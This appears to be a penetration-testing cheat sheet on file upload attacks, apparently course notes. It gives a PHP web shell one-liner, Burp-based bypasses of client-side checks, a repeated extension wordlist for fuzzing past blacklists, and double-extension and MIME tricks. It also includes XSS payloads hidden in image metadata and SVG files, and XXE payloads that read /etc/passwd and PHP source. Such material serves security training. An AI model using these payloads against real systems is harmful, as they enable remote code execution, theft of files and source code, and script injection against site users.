File Upload Attacks

From file upload to remote code execution


File upload vulnerablities happen due to weak or missing validation of uploaded files. There are abritrary file uploads which result in RCE. But other attacks:

# Custom webshell
<?php system($_REQUEST['cmd']); ?>

Client-Side validation

If validation is only happening on the client-side we can bypass it interacting with the back-end using Burp or modify the code. Intercept the request in burp and change the extension from .jpg to .php .

Or analyse source remove the check or add .php.

<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">

Blacklist Filters

Blacklist filters blacklist extensions and will block extenions like .php, phps. Besides file types content types can also be filtered. Example code of blacklist filtering, its case sensitive.

$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');

if (in_array($extension, $blacklist)) {
    echo "File type not allowed";
    die();
}

Fuzz for valid extensions that are not blacklisted.

.jpeg.php
.jpg.php
.png.php
.php
.php2
.php3
.php4
.php5
.php6
.php7
.php8
.phps
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
.asp
.aspx
.bat
.c
.cfm
.cgi
.css
.com
.dll
.exe
.hta
.htm
.html
.inc
.jhtml
.js
.jsa
.json
.jsp
.log
.mdb
.nsf
.pcap
.pl
.rb
.reg
.sh
.shtml
.sql
.swf
.txt
.xml

Whitelist Filters

Whitelist filters work with specifying which files are allowed like .jpg or .png. Example code whitelisting filter.

$fileName = basename($_FILES["uploadFile"]["name"]);

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}
Extenisionss wordlist ▼
.jpeg.php
.jpg.php
.png.php
.php
.php2
.php3
.php4
.php5
.php6
.php7
.php8
.phps
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
.asp
.aspx
.bat
.c
.cfm
.cgi
.css
.com
.dll
.exe
.hta
.htm
.html
.inc
.jhtml
.js
.jsa
.json
.jsp
.log
.mdb
.nsf
.pcap
.pl
.rb
.reg
.sh
.shtml
.sql
.swf
.txt
.xml

Some webapps use strict regex like:

if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) 

This patterns says final extension should match everything up to the last (.). It uses the ($) to require the file name to end with used the extensions.

To bypass this its possible to reverse double extension like shell.php.png.

Type Filters

There are two common methods for validating the file content: Content-Type Header or File Content. So when uploading fails it could be in Content-Type Header or the File Content .

# Example of accepted content-types.
$type = $_FILES['uploadFile']['type'];

if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}

Our browsers automatically set the Content-Type header when selecting a file through the file selector dialog, usually derived from the file extension.

MIME-Type

MIME-Type. Multipurpose Internet Mail Extensions (MIME) determines the type of a file through its format and bytes structure. For example, a file starting with (GIF87a or GIF89a), indicates its a .gif file.

# Checking for content-type
$type = mime_content_type($_FILES['uploadFile']['tmp_name']);

if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}

XSS

We can use file uploads and embed a payload into in image. Another option is using the image metadata.

exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg

Another option is using SVG images, when displaying the images the XSS is triggered.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>

XXE

Also using SVG images we can include malicious XML data.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

Or read source code

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>